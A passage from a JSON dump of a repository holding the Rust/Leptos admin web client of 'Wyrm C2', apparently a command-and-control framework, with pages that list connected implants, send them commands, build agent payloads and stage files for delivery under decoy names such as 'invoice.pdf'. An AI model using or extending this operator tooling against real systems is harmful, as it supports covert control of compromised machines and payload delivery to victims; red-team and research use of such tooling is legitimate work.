    "content": "use gloo_net::http::{Request, Response};\nuse leptos::prelude::window;\nuse serde_json::Value;\nuse shared::{\n    net::{ADMIN_ENDPOINT, ADMIN_HEALTH_CHECK_ENDPOINT, ADMIN_LOGIN_ENDPOINT, AdminLoginPacket},\n    tasks::{AdminCommand, BaBData},\n};\nuse thiserror::Error;\nuse web_sys::RequestCredentials;\n\nuse crate::{controller::get_item_from_browser_store, models::C2_STORAGE_KEY};\n\n#[derive(Debug, PartialEq, Eq, Clone)]\npub enum IsTaskingAgent {\n    Yes(String),\n    No,\n}\n\n#[derive(Debug, Error)]\npub enum IsTaskingAgentErr {\n    #[error(\"No ID found on IsTaskingAgent\")]\n    NoId,\n}\n\nimpl IsTaskingAgent {\n    pub fn has_agent_id(&self) -> Result<(), IsTaskingAgentErr> {\n        if let IsTaskingAgent::Yes(_) = self {\n            return Ok(());\n        }\n\n        Err(IsTaskingAgentErr::NoId)\n    }\n}\n\npub enum C2Url {\n    /// Will be obtained from the key `C2_STORAGE_KEY`\n    Standard,\n    /// Whatever is in the inner will be used as the C2 URL\n    Custom(String),\n}\n\nimpl C2Url {\n    /// Retrieve the C2 url depending upon the type. The [`C2Url::Standard`] will be pulled from the browser\n    /// store at the key `C2_STORAGE_KEY`.\n    ///\n    /// In the case of [`C2Url::Standard`], the inner `String` will be retrieved.\n    fn get(&self) -> anyhow::Result<String> {\n        match self {\n            C2Url::Standard => {\n                // Get from browser store\n                get_item_from_browser_store::<String>(C2_STORAGE_KEY)\n            }\n            C2Url::Custom(url) => Ok(url.clone()),\n        }\n    }\n}\n\n/// Makes an API request to the C2 via REST & CORS.\n///\n/// # Args\n/// - `command`: The [`AdminCommand`] to dispatch on the C2.\n/// - `is_tasking_agent`: Whether an exact agent is being tasked, or the command is generic.\n/// - `creds`: A tuple [`Option`] containing (`username`, `password`) if logging in.\n/// - `c2_url`: The URL of the C2 to connect to\n/// - `custom_uri`: Whether a custom URI is supplied, as an [`Option`]\n///\n/// # Returns\n/// - `Ok`: A Vec of bytes from the C2\n/// - `Err` an [`ApiError`] containing the error kind and information.\npub async fn api_request(\n    command: AdminCommand,\n    is_tasking_agent: &IsTaskingAgent,\n    creds: Option<(String, String)>,\n    c2_url: C2Url,\n    custom_uri: Option<&str>,\n) -> Result<Vec<u8>, ApiError> {\n    // Remove any leading '/' as we want to format correctly in the below builder\n    let custom_uri = if let Some(u) = custom_uri {\n        let u = match u.strip_prefix(\"/\") {\n            Some(s) => s,\n            None => u,\n        };\n        Some(u)\n    } else {\n        None\n    };\n\n    let c2_url: String = construct_c2_url(c2_url, &command, custom_uri, is_tasking_agent);\n\n    //\n    // Send the HTTP request to the C2\n    //\n\n    let post_body_data = prepare_body_data(command, creds);\n    let resp = make_post(&c2_url, post_body_data).await?;\n\n    // Note, all admin commands return ACCEPTED (status 202) on successful authentication / completion\n    // not the anticipated 200 OK. Dont recall why I went that route, but here we are :)\n    if resp.status() != 202 {\n        return Err(ApiError::BadStatus(\n            resp.status(),\n            resp.text().await.unwrap(),\n        ));\n    }\n\n    let bytes = resp.binary().await?;\n    Ok(bytes.to_vec())\n}\n\n/// Prepare the POST request body data by serialising the input to an expected JSON value which\n/// the C2 will expect.\n///\n/// For some C2  API's, the JSON body is expected to be of a certain type, so this ensures we sent the correct\n/// type to the C2. If no such exact type is required (e.g. the data is included in the [`AdminCommand`]) then it will\n/// just prepare that as-is without converting to another expected type.\n///\n/// # Returns\n/// The function returns a [`serde_json::Value`] of the body data.\nfn prepare_body_data(input: AdminCommand, creds: Option<(String, String)>) -> Value {\n    match input {\n        AdminCommand::Login => serde_json::to_value(AdminLoginPacket {\n            username: creds.clone().unwrap().0,\n            password: creds.unwrap().1.clone(),\n        })\n        .unwrap(),\n        AdminCommand::BuildAllBins(data) => {\n            serde_json::to_value(BaBData::from(data.clone())).unwrap()\n        }\n        _ => serde_json::to_value(input).unwrap(),\n    }\n}\n\nasync fn make_post(c2_url: &str, body: Value) -> Result<Response, ApiError> {\n    let r = Request::post(c2_url)\n        .credentials(RequestCredentials::Include)\n        .json(&body)?\n        .send()\n        .await?;\n\n    Ok(r)\n}\n\nfn construct_c2_url(\n    c2_url: C2Url,\n    command: &AdminCommand,\n    custom_uri: Option<&str>,\n    is_tasking_agent: &IsTaskingAgent,\n) -> String {\n    // Extrapolate the C2 url from the input enum\n    let c2_url = c2_url.get().expect(\"could not get C2 url\");\n\n    //\n    // If its a login command, we need to explicitly handle building that URI. If the command\n    // was not login, then deal with inputting the UID of the implant being tasked, otherwise, it\n    // can be constructed without.\n    //\n    // This allows for the format url.com/api_endpoint/agent_uid on the C2 to handle those paths.\n    //\n    let s = match command {\n        AdminCommand::Login => {\n            format!(\"{}/{}\", c2_url, custom_uri.unwrap_or(ADMIN_LOGIN_ENDPOINT))\n        }\n        _ => \"\".into(),\n    };\n\n    if !s.is_empty() {\n        // For the login URL, return this out as the C2 url\n        s\n    } else {\n        match is_tasking_agent {\n            IsTaskingAgent::Yes(uid) => format!(\n                \"{}/{}/{}\",\n                c2_url,\n                custom_uri.unwrap_or(ADMIN_ENDPOINT),\n                uid\n            ),\n            IsTaskingAgent::No => {\n                format!(\"{}/{}\", c2_url, custom_uri.unwrap_or(ADMIN_ENDPOINT))\n            }\n        }\n    }\n}\n\n#[derive(Error, Debug)]\npub enum ApiError {\n    #[error(\"HTTP error {0}.\")]\n    Reqwest(#[from] gloo_net::Error),\n    #[error(\"Server returned status {0}. {1}\")]\n    BadStatus(u16, String),\n}\n\n/// Checks whether the user is logged in with a valid session, returning true if they are.\npub async fn admin_health_check() -> bool {\n    let mut c2_url = match window()\n        .local_storage()\n        .ok()\n        .flatten()\n        .and_then(|s| s.get_item(C2_STORAGE_KEY).ok())\n        .unwrap_or_default()\n    {\n        Some(url) => {\n            // Because of serde_json we need to remove \" from the stored value\n            url.replace(\"\\\"\", \"\")\n        }\n        None => return false,\n    };\n\n    c2_url.push_str(ADMIN_HEALTH_CHECK_ENDPOINT);\n\n    match Request::get(&c2_url)\n        .credentials(RequestCredentials::Include)\n        .send()\n        .await\n    {\n        Ok(resp) => resp.status() == 200,\n        Err(e) => panic!(\"Could not make request when making logged in check. {e}\"),\n    }\n}\n"
  },
  {
    "path": "client/src/pages/build_profiles.rs",
    "content": "use leptos::{component, prelude::*};\nuse shared::tasks::AdminCommand;\n\nuse crate::{\n    controller::build_profiles::trigger_download,\n    net::{C2Url, IsTaskingAgent, api_request},\n    pages::logged_in_headers::LoggedInHeaders,\n};\n\n#[component]\npub fn BuildProfilesPage() -> impl IntoView {\n    let form_data = RwSignal::new(String::new());\n    let submitting = RwSignal::new(false);\n\n    let submit_page = Action::new_local(|input: &String| {\n        let input = input.clone();\n\n        async move {\n            // Cleanse the input\n            let profile_name = input.trim().to_string();\n\n            let result = api_request(\n                AdminCommand::BuildAllBins(profile_name.clone()),\n                &IsTaskingAgent::No,\n                None,\n                C2Url::Standard,\n                Some(\"admin_bab\"),\n            )\n            .await;\n\n            result.map(|bytes| (profile_name, bytes))\n        }\n    });\n    let page_response = submit_page.value();\n\n    Effect::new(move |_| {\n        page_response.with(|inner| {\n            if let Some(res) = inner {\n                submitting.set(false);\n\n                match res {\n                    Ok((profile_name, bytes)) => {\n                        if !bytes.is_empty() {\n                            let filename = format!(\"{profile_name}.7z\");\n                            trigger_download(&filename, bytes);\n                        } else {\n                            leptos::logging::log!(\"Response was empty.\");\n                        }\n                    }\n                    Err(e) => {\n                        leptos::logging::error!(\"Error parsing result: {e}\");\n                    }\n                }\n            }\n        })\n    });\n\n    view! {\n\n        <LoggedInHeaders />\n\n        <div id=\"file-upload-container\" class=\"container-fluid py-4 app-page\">\n            <div class=\"row mb-4\">\n                <div class=\"col-12 text-center\">\n                    <h2 class=\"mb-2 fw-bold\">Build all agents</h2>\n                    <p>\n                        \"Type the name of the profile you wish to build from (do not include the \"<code>\".toml\"</code>\").\"\n                        \"For example, to build from the default profile, type \"<code>\"default\"</code>\".\"\n                    </p>\n                    <p>This builder will serve you the generated payloads as a 7zip archive for which you can do with as you please.\n                        It is recommended after using this, you use the upload function to stage a payload on the C2.\n                    </p>\n                </div>\n            </div>\n            <div class=\"row justify-content-center\">\n                <div class=\"col-md-7 col-lg-6\">\n\n                    <form\n                        on:submit=move |ev| {\n                            ev.prevent_default(); // dont reload\n\n                            submitting.set(true);\n                            submit_page.dispatch(form_data.get());\n                        }\n                        id=\"stage-all-form\"\n                        autocomplete=\"off\"\n                        class=\"border rounded-3 p-4 shadow-sm\">\n\n                        <div class=\"mb-3\">\n                            <label for=\"profile_name\" class=\"form-label fw-semibold\">Profile name</label>\n                            <input\n                                type=\"text\"\n                                class=\"form-control\"\n                                name=\"profile_name\"\n                                id=\"profile_name\"\n                                placeholder=\"Profile name\"\n                                bind:value=form_data\n                                required\n                                />\n                            <div class=\"form-text\">The profile name <strong> should not include the toml extension</strong>, and it should be present under <code>c2/profiles/</code>.</div>\n                        </div>\n\n                        <button type=\"submit\" class=\"btn btn-primary w-100 py-2 fw-bold\" disabled=move || submitting.get()>\n                            {move || if submitting.get() { \"Building...\" } else { \"Build\" }}\n                        </button>\n                        <div class=\"form-text\">\n                            Please do not refresh or navigate away from the page. The builder will return you a 7zip archive\n                            containing the agent binaries. Note: This may take some time, and unless you get an error message - <strong>please\n                            wait and allow it to serve you the files</strong>.\n                        </div>\n                    </form>\n\n                    <div id=\"response-box\" class=\"mt-3\"></div>\n                </div>\n            </div>\n        </div>\n    }\n}\n"
  },
  {
    "path": "client/src/pages/dashboard.rs",
    "content": "use std::{\n    collections::{HashMap, HashSet},\n    time::Duration,\n};\n\nuse chrono::Utc;\nuse gloo_timers::future::sleep;\nuse leptos::{IntoView, component, html, prelude::*, reactive::spawn_local, view};\nuse shared::tasks::AdminCommand;\n\nuse crate::{\n    controller::{\n        dashboard::update_connected_agents, get_item_from_browser_store,\n        wyrm_chat_history_browser_key,\n    },\n    models::dashboard::{\n        ActiveTabs, Agent, AgentC2MemoryNotifications, AgentIdSplit, TabConsoleMessages,\n        get_agent_tab_name, get_info_from_agent_id, resolve_tab_to_agent_id,\n    },\n    net::{C2Url, IsTaskingAgent, api_request},\n    pages::logged_in_headers::LoggedInHeaders,\n    tasks::task_dispatch::dispatch_task,\n};\n\n#[component]\npub fn Dashboard() -> impl IntoView {\n    //\n    // Set up signals across the dashboard\n    //\n    let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n        RwSignal::new(HashMap::<String, RwSignal<Agent>>::new());\n    provide_context(connected_agents);\n\n    let tabs = RwSignal::new(ActiveTabs::from_store());\n    // Providing this as context so we can grab it in the task dispatcher routines dynamically as required\n    provide_context(tabs);\n\n    view! {\n        // There's got to be a better way of doing this repeating it everywhere, but I cannot find it\n        <LoggedInHeaders />\n\n        <ConnectedAgents tabs />\n        <MiddleTabBar />\n        <MessagePanel />\n    }\n}\n\n#[component]\nfn ConnectedAgents(tabs: RwSignal<ActiveTabs>) -> impl IntoView {\n    let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n        use_context().expect(\"could not get RwSig connected_agents\");\n\n    //\n    // Deal with the API request for connected agents\n    //\n    Effect::new(move || {\n        spawn_local(async move {\n            loop {\n                // If server-side health check shows we are logged out, stop polling.\n                // if !crate::controller::is_logged_in().await {\n                //     break;\n                // }\n\n                let result = match api_request(\n                    AdminCommand::ListAgents,\n                    &IsTaskingAgent::No,\n                    None,\n                    C2Url::Standard,\n                    None,\n                )\n                .await\n                {\n                    Ok(r) => r,\n                    Err(e) => {\n                        leptos::logging::log!(\"Could not make request for ListAgents. {e}\");\n                        sleep(Duration::from_secs(1)).await;\n                        continue;\n                    }\n                };\n\n                let deser_agents: Vec<AgentC2MemoryNotifications> =\n                    match serde_json::from_slice(&result) {\n                        Ok(r) => r,\n                        Err(e) => {\n                            leptos::logging::log!(\"Could not deserialise ListAgents. {e}\");\n                            sleep(Duration::from_secs(1)).await;\n                            continue;\n                        }\n                    };\n\n                update_connected_agents(connected_agents, deser_agents);\n\n                sleep(Duration::from_secs(1)).await;\n            }\n        });\n    });\n\n    let agent_map =\n        use_context::<RwSignal<HashMap<String, RwSignal<Agent>>>>().expect(\"no agent map found\");\n\n    view! {\n        <div id=\"connected-agent-container\" class=\"container-fluid jetbrains-gui-smaller\">\n\n            <div id=\"agents-header\" class=\"row\">\n                <div class=\"col-2\">Hostname</div>\n                <div class=\"col-2\">Username</div>\n                <div class=\"col-1\">Integrity</div>\n                <div class=\"col-1\">PID</div>\n                <div class=\"col-2\">Checked-in</div>\n                <div class=\"col-4\">Process name</div>\n            </div>\n\n            <div id=\"agent-rows\">\n                <For\n                    each=move || {\n                        let mut vals: Vec<RwSignal<Agent>> = agent_map.get().values().cloned().collect();\n                        vals\n                    }\n                    key=|sig| sig.get().agent_id.clone()\n                    let:(agent)\n                >\n                    <a href=\"#\"\n                        class=\"jetbrains-gui-smaller\"\n                        class=(\"agent-stale\", move || agent.get().is_stale)\n                        on:click=move |_| {\n                            let mut guard = tabs.write();\n                            guard.add_tab(&agent.get().agent_id);\n                        }\n                    >\n                        <div class=\"row agent-row\">\n                            <div class=\"col-2\">{ move ||\n                                {\n                                    let id_raw: String = agent.get().agent_id;\n                                    let part = get_info_from_agent_id(&id_raw, AgentIdSplit::Hostname).unwrap_or(\"Error\");\n                                    part.to_string()\n                                }\n                            }</div>\n                            <div class=\"col-2\">{ move ||\n                                {\n                                    let id_raw: String = agent.get().agent_id;\n                                    let part = get_info_from_agent_id(&id_raw, AgentIdSplit::Username).unwrap_or(\"Error\");\n                                    part.to_string()\n                                }\n                            }</div>\n                            <div class=\"col-1\">{ move ||\n                                {\n                                    let id_raw: String = agent.get().agent_id;\n                                    let part = get_info_from_agent_id(&id_raw, AgentIdSplit::Integrity).unwrap_or(\"Error\");\n                                    part.to_string()\n                                }\n                            }</div>\n                            <div class=\"col-1\">{ move || agent.get().pid }</div>\n                            <div class=\"col-2\">{ move || agent.get().last_check_in.to_string() }</div>\n                            <div class=\"col-4\">{ move || agent.get().process_name }</div>\n                        </div>\n                    </a>\n                </For>\n            </div>\n        </div>\n    }\n}\n\n#[component]\nfn MiddleTabBar() -> impl IntoView {\n    let tabs: RwSignal<ActiveTabs> =\n        use_context().expect(\"could not get tabs context in CommandInput()\");\n    let agent_map: RwSignal<HashMap<String, RwSignal<Agent>>> =\n        use_context().expect(\"no agent map found in MiddleTabBar\");\n\n    view! {\n        <div class=\"tabbar\">\n            <ul id=\"tab-bar-ul\" class=\"nav nav-tabs flex-nowrap text-nowrap m-0 px-20\">\n                <li class=\"nav-item d-flex align-items-center jetbrains-gui-smaller\">\n                    <a\n                        class=\"nav-link jetbrains-gui-smaller\"\n                        class:active=move || tabs.read().active_id.is_none()\n                        href=\"#\"\n                        on:click=move |_| {\n                            let mut guard = tabs.write();\n                            guard.active_id = None\n                        }\n                    >\n                        \"Server\"\n                    </a>\n                </li>\n                <For\n                    each=move || {\n                        let s: Vec<String> = tabs.read().tabs.iter().cloned().collect();\n                        s\n                    }\n                    key=|tab| tab.clone()\n                    children=move |tab: String| {\n                        view! {\n                            <li class=\"nav-item d-flex align-items-center\">\n                                <a\n                                    class=\"nav-link\"\n                                    class:active={{\n                                        let value = tab.clone();\n                                        move || {\n                                            let resolved = resolve_tab_to_agent_id(&value, &agent_map.get())\n                                                .unwrap_or_else(|| value.clone());\n                                            match tabs.read().active_id.clone() {\n                                                Some(active) => active == resolved || active == value,\n                                                None => false,\n                                            }\n                                        }\n                                    }}\n                                    href=\"#\"\n                                    on:click={\n                                        let value = tab.clone();\n                                        move |_| {\n                                            let mut guard = tabs.write();\n                                            (*guard).active_id = Some(value.clone())\n                                        }\n                                    }\n                                >\n                                    {\n                                        let label = get_agent_tab_name(&tab).unwrap_or_else(|| tab.clone());\n                                        label.clone()\n                                    }\n                                </a>\n\n                                <button\n                                    on:click=move |_| {\n                                        let mut guard = tabs.write();\n                                        (*guard).remove_tab(&tab.clone());\n                                    }\n                                    class=\"btn btn-sm btn-close ms-2\"\n                                    aria-label=\"Close\"\n                                    name=\"index\"\n                                    style=\"font-size:0.6rem;\"></button>\n                            </li>\n                        }\n                    }\n                />\n            </ul>\n        </div>\n    }\n}\n\n#[component]\nfn MessagePanel() -> impl IntoView {\n    let agent_map =\n        use_context::<RwSignal<HashMap<String, RwSignal<Agent>>>>().expect(\"no agent map found\");\n\n    let tabs: RwSignal<ActiveTabs> =\n        use_context().expect(\"could not get tabs context in MessagePanel()\");\n\n    let messages = Memo::new(move |_| {\n        let map = agent_map.get();\n        let Some(agent_id) = tabs\n            .read()\n            .active_id\n            .clone()\n            .and_then(|id| resolve_tab_to_agent_id(&id, &map))\n        else {\n            return Vec::new();\n        };\n\n        // Pull any cached messages for the active agent so we can hydrate the UI even if\n        // the in-memory signal missed the first server responses.\n        let stored = get_item_from_browser_store::<Vec<TabConsoleMessages>>(\n            &wyrm_chat_history_browser_key(&agent_id),\n        )\n        .ok();\n\n        if let Some(agent_sig) = map.get(&agent_id) {\n            // If the cache contains messages we don't have in memory yet, merge them in by ID.\n            if let Some(stored) = &stored {\n                agent_sig.update(|agent| {\n                    let mut seen: HashSet<i32> = agent\n                        .output_messages\n                        .iter()\n                        .map(|m| m.completed_id)\n                        .collect();\n\n                    for msg in stored {\n                        if seen.insert(msg.completed_id) {\n                            agent.output_messages.push(msg.clone());\n                        }\n                    }\n                });\n            }\n\n            agent_sig.with(|agent| {\n                agent\n                    .output_messages\n                    .iter()\n                    .enumerate()\n                    .map(|(idx, msg)| {\n                        let key = format!(\"{agent_id}-{}-{idx}\", msg.completed_id);\n                        (key, msg.clone())\n                    })\n                    .collect::<Vec<_>>()\n            })\n        } else {\n            // Fallback: no live agent signal, but we still have cached messages to show.\n            stored\n                .unwrap_or_default()\n                .into_iter()\n                .enumerate()\n                .map(|(idx, msg)| {\n                    let key = format!(\"{agent_id}-{}-{idx}\", msg.completed_id);\n                    (key, msg)\n                })\n                .collect::<Vec<_>>()\n        }\n    });\n\n    let message_panel_ref = NodeRef::<html::Div>::new();\n    let should_auto_scroll = RwSignal::new(true);\n\n    let on_scroll = {\n        let message_panel_ref = message_panel_ref.clone();\n        move |_| {\n            if let Some(panel) = message_panel_ref.get() {\n                let max_scroll_top = panel.scroll_height() - panel.client_height();\n                let near_bottom_threshold = (max_scroll_top - 24).max(0);\n                let is_near_bottom = panel.scroll_top() >= near_bottom_threshold;\n\n                should_auto_scroll.set(is_near_bottom);\n            }\n        }\n    };\n\n    Effect::new({\n        let message_panel_ref = message_panel_ref.clone();\n        move |_| {\n            let _ = messages.with(|msgs| msgs.len());\n\n            if !should_auto_scroll.get() {\n                return;\n            }\n\n            if let Some(panel) = message_panel_ref.get() {\n                panel.set_scroll_top(panel.scroll_height());\n            }\n        }\n    });\n\n    view! {\n        <div\n            id=\"message-panel\"\n            class=\"container-fluid\"\n            node_ref=message_panel_ref\n            on:scroll=on_scroll\n        >\n            <For\n                each=move || messages.get()\n                key=|entry: &(String, TabConsoleMessages)| entry.0.clone()\n                children=move |entry: (String, TabConsoleMessages)| {\n                    let (_key, line) = entry;\n                    view! {\n                        <div class=\"console-line jetbrains-gui\">\n                            <span class=\"time\">\"[\"{ line.time }\"]\"</span>\n                            <span class=\"evt\">\"[\"{ line.event }\"]\"</span>\n\n                            <For\n                                each=move || line.messages.clone()\n                                key=|msg_line: &String| msg_line.clone()\n                                children=move |msg_line: String| {\n                                    let split_lines: Vec<String> = msg_line\n                                        .split('\\n')\n                                        .map(|s| s.to_string())\n                                        .collect();\n\n                                    view! {\n                                        <div class=\"msg\">\n                                            <For\n                                                each=move || split_lines.clone()\n                                                key=|line: &String| line.clone()\n                                                children=move |text: String| {\n                                                    view! {\n                                                        <p class=\"msg-line jetbrains-gui\">{ text }</p>\n                                                    }\n                                                }\n                                            />\n                                        </div>\n                                    }\n                                }\n                            />\n                        </div>\n                    }\n                }\n            />\n        </div>\n\n        <CommandInput />\n    }\n}\n\n#[component]\nfn CommandInput() -> impl IntoView {\n    let input_data = RwSignal::new(String::new());\n    let agent_map =\n        use_context::<RwSignal<HashMap<String, RwSignal<Agent>>>>().expect(\"no agent map found\");\n    let tabs: RwSignal<ActiveTabs> =\n        use_context().expect(\"could not get tabs context in CommandInput()\");\n\n    let submit_input = Action::new_local(move |input: &String| {\n        let input = input.clone();\n        let map = agent_map.get();\n        let agent_id = tabs\n            .read()\n            .active_id\n            .clone()\n            .and_then(|id| resolve_tab_to_agent_id(&id, &map))\n            .expect(\"could not resolve agent id from active tab\");\n\n        async move { dispatch_task(input, IsTaskingAgent::Yes(agent_id)).await }\n    });\n\n    view! {\n        <div id=\"input-strip\" class=\"d-flex align-items-center px-3\">\n            <span class=\"me-2\">>></span>\n            <form\n                on:submit=move |ev| {\n                    ev.prevent_default();\n\n                    if input_data.get().is_empty() {\n                        return;\n                    }\n\n                    //\n                    // Push the input message by the user into the currently selected\n                    // agent.\n                    //\n                    let map = agent_map.get();\n                    let agent_id = tabs\n                        .read()\n                        .active_id\n                        .clone()\n                        .and_then(|id| resolve_tab_to_agent_id(&id, &map))\n                        .expect(\"could not resolve agent id from active tab\");\n                    let agent_sig = map.get(&agent_id).unwrap();\n\n                    // Get a snapshot of the input and work with that\n                    let input_val = input_data.get();\n\n                    let time = Utc::now().to_string();\n\n                    let msg = TabConsoleMessages {\n                        completed_id: 0,\n                        event: \"User Input\".to_string(),\n                        time,\n                        messages: vec![input_val.clone()],\n                    };\n\n                    agent_sig.update(move |agent| agent.output_messages.push(msg.clone()));\n\n                    submit_input.dispatch(input_val);\n\n                    // Clear the input UI box\n                    input_data.set(String::new());\n                }\n                autocomplete=\"off\"\n                class=\"d-flex flex-grow-1\"\n            >\n                <Show\n                    when=move || tabs.read().active_id.is_some()\n                    fallback=|| view! {\n                        \"Please select an agent to use the input bar.\"\n                    }\n                >\n                    <input\n                        id=\"cmd_input\"\n                        name=\"cmd_input\"\n                        type=\"text\"\n                        class=\"flex-grow-1\"\n                        placeholder=\"Type a command...\"\n                        bind:value=input_data\n                    />\n                    <button class=\"btn btn-sm btn-secondary btn-block\">\"Send\"</button>\n                </Show>\n            </form>\n        </div>\n    }\n}\n"
  },
  {
    "path": "client/src/pages/file_upload.rs",
    "content": "use gloo_net::http::Request;\nuse leptos::task::spawn_local;\nuse leptos::wasm_bindgen::JsCast;\nuse leptos::{IntoView, component, prelude::*, view};\nuse leptos_router::hooks::use_navigate;\nuse web_sys::{\n    FileReader, FormData, HtmlFormElement, HtmlInputElement, RequestCredentials, js_sys,\n    wasm_bindgen,\n};\n\nuse crate::controller::get_item_from_browser_store;\nuse crate::models::C2_STORAGE_KEY;\nuse crate::pages::logged_in_headers::LoggedInHeaders;\n\n#[component]\npub fn FileUploadPage() -> impl IntoView {\n    let submitting = RwSignal::new(false);\n\n    view! {\n        <LoggedInHeaders />\n\n        <div id=\"file-upload-container\" class=\"container-fluid py-4 app-page\">\n            <div class=\"row mb-4\">\n                <div class=\"col-12 text-center\">\n                    <h2 class=\"mb-2 fw-bold\">Upload a File</h2>\n                    <p>Easily stage files for download and delivery, use the below form to upload a file. Note, the maximum upload size is\n                        whatever you set in your environment settings, or defaults to 500 mb.\n                    </p>\n                </div>\n            </div>\n            <div class=\"row justify-content-center\">\n                <div class=\"col-md-7 col-lg-6\">\n                    <form\n                        id=\"file-upload-form\"\n                        autocomplete=\"off\"\n                        enctype=\"multipart/form-data\"\n                        on:submit=move |ev| {\n                            use wasm_bindgen::closure::Closure;\n\n                            ev.prevent_default();\n                            submitting.set(true);\n\n                            let form = ev.target().unwrap().dyn_into::<HtmlFormElement>().unwrap();\n\n                            let download_name = form\n                                .elements()\n                                .named_item(\"download_name\")\n                                .and_then(|el| el.dyn_into::<HtmlInputElement>().ok())\n                                .map(|input| input.value())\n                                .unwrap_or_default();\n                            let staging_uri = form\n                                .elements()\n                                .named_item(\"staging_uri\")\n                                .and_then(|el| el.dyn_into::<HtmlInputElement>().ok())\n                                .map(|input| input.value())\n                                .unwrap_or_default();\n                            let file_input = form\n                                .elements()\n                                .named_item(\"file_input\")\n                                .and_then(|el| el.dyn_into::<HtmlInputElement>().ok())\n                                .and_then(|input| input.files())\n                                .and_then(|files| files.get(0));\n\n                            let mut download_api = staging_uri.trim().to_string();\n                            if download_api.starts_with(\"/\") {\n                                download_api = download_api.strip_prefix(\"/\").unwrap().to_string();\n                            }\n\n                            if let Some(file) = file_input {\n                                let file_reader = FileReader::new().unwrap();\n                                let fr_c = file_reader.clone();\n                                let download_name = download_name.clone();\n                                let download_api = download_api.clone();\n\n                                let navigate = use_navigate();\n                                let status_el = web_sys::window()\n                                    .and_then(|w| w.document())\n                                    .and_then(|d| d.get_element_by_id(\"upload-status\"));\n\n                                let c2_addr = get_item_from_browser_store::<String>(C2_STORAGE_KEY)\n                                    .unwrap_or_default()\n                                    .replace(\"\\\"\", \"\");\n                                let c2_addr = c2_addr.trim_end_matches('/').to_string();\n\n                                let value = file.clone();\n                                let onload = Closure::wrap(Box::new(move |_e: web_sys::Event| {\n                                    let result = fr_c.result().unwrap();\n                                    let _array = js_sys::Uint8Array::new(&result);\n\n                                    let form = FormData::new().unwrap();\n                                    form.append_with_str(\"download_name\", &download_name).unwrap();\n                                    form.append_with_str(\"api_endpoint\", &download_api).unwrap();\n                                    form.append_with_blob(\"file\", &value).unwrap();\n\n                                    let url = format!(\"{}/admin_upload\", c2_addr);\n\n                                    let status_el = status_el.clone();\n                                    let navigate = navigate.clone();\n\n                                    spawn_local(async move {\n                                        let resp = Request::post(&url)\n                                            .credentials(RequestCredentials::Include)\n                                            .body(form)\n                                            .unwrap()\n                                            .send()\n                                            .await;\n\n                                        match resp {\n                                            Ok(r) if r.status() == 202 => {\n                                                if let Some(el) = status_el.as_ref() {\n                                                    el.set_inner_html(\"Upload complete.\");\n                                                }\n                                                navigate(\"/dashboard\", Default::default());\n                                            }\n                                            Ok(r) => {\n                                                if let Some(el) = status_el.as_ref() {\n                                                    el.set_inner_html(&format!(\n                                                        \"Upload failed. Status {}\",\n                                                        r.status()\n                                                    ));\n                                                }\n                                            }\n                                            Err(e) => {\n                                                if let Some(el) = status_el.as_ref() {\n                                                    el.set_inner_html(&format!(\n                                                        \"Upload failed. {}\",\n                                                        e\n                                                    ));\n                                                }\n                                            }\n                                        }\n                                        submitting.set(false);\n                                    });\n                                }) as Box<dyn FnMut(_)>);\n\n                                file_reader.set_onload(onload.as_ref().dyn_ref());\n                                file_reader.read_as_array_buffer(&file).unwrap();\n                                onload.forget();\n                            } else {\n                                submitting.set(false);\n                            }\n\n                        }\n                        class=\"border rounded-3 p-4 shadow-sm\"\n                        >\n                        <div class=\"mb-3\">\n                            <label for=\"download_name\" class=\"form-label fw-semibold\">Download Name (INCLUDING file extension)</label>\n                            <input type=\"text\" class=\"form-control\" placeholder=\"invoice.pdf\" name=\"download_name\" id=\"download_name\" required />\n                            <div class=\"form-text\">Include the file extension (e.g. <strong>.pdf</strong>, <strong>.exe</strong>). This is the name that will be downloaded onto the machine of the person downloading (e.g. what the browser will save it as), unless you grab it programmatically.</div>\n                        </div>\n                        <div class=\"mb-3\">\n                            <label for=\"staging_uri\" class=\"form-label fw-semibold\">Staging C2 URI Endpoint</label>\n                            <input type=\"text\" class=\"form-control\" placeholder=\"contracts/microsoft/2025/msft_contract_25&auth=...\" name=\"staging_uri\" id=\"staging_uri\" required />\n                            <div class=\"form-text\">Multi-path and URL params allowed. Example: <code>download</code> or <code>files/secret?auth=token</code>. Note: the server will reject the path if it contains a space, so do not include a space here.</div>\n                        </div>\n                        <div class=\"mb-3\">\n                            <label for=\"file_input\" class=\"form-label fw-semibold\">Choose File</label>\n                            <input class=\"form-control\" type=\"file\" id=\"file_input\" name=\"file_input\" required />\n                        </div>\n                        <button type=\"submit\" class=\"btn btn-primary w-100 py-2 fw-bold\" disabled=move || submitting.get()>\n                            {move || if submitting.get() { \"Uploading...\" } else { \"Upload\" }}\n                        </button>\n                    </form>\n                    <div id=\"upload-status\" class=\"mt-3\"></div>\n                </div>\n            </div>\n        </div>\n    }\n}\n"
  },
  {
    "path": "client/src/pages/logged_in_headers.rs",
    "content": "use leptos::wasm_bindgen::JsCast;\nuse leptos::{IntoView, component, prelude::*, task::spawn_local, view};\nuse leptos_router::hooks::use_navigate;\n\nuse crate::controller::{BodyClass, apply_body_class, is_logged_in};\n\n/// Creates the header section of a page which is behind token authentication; this will make a request to the\n/// C2 to ensure that the user is logged in - whilst also applying the necessary styles for the logged in area.\n///\n/// This will render the nav bar, and anything you would expect to be in the 'headers' section, (not 'head').\n#[component]\npub fn LoggedInHeaders() -> impl IntoView {\n    // Apply the `app` class to the body for our CSS stuff\n    apply_body_class(BodyClass::App);\n\n    let (checked_login, set_checked_login) = signal(false);\n    let (logged_in, set_logged_in) = signal(true);\n\n    Effect::new(move |_| {\n        if checked_login.get() {\n            return;\n        }\n\n        set_checked_login.set(true);\n\n        spawn_local({\n            async move {\n                let logged_in_result = is_logged_in().await;\n                set_logged_in.set(logged_in_result);\n            }\n        });\n    });\n\n    Effect::new(move || {\n        if !logged_in.get() {\n            let navigate = use_navigate();\n            navigate(\"/\", Default::default());\n        }\n    });\n\n    // Create a reactive signal for the current URL first segment and\n    // initialize history hooks via helper to keep component body clean.\n    let url_path = create_url_path_signal();\n\n    //\n    // Build the header section of the page\n    //\n    view! {\n    <nav class=\"navbar navbar-expand-lg\">\n    <div class=\"container-fluid\">\n        <a class=\"navbar-brand plain\" href=\"/dashboard\">Wyrm C2</a>\n        <button class=\"navbar-toggler\" type=\"button\" data-bs-toggle=\"collapse\" data-bs-target=\"#navbarSupportedContent\" aria-controls=\"navbarSupportedContent\" 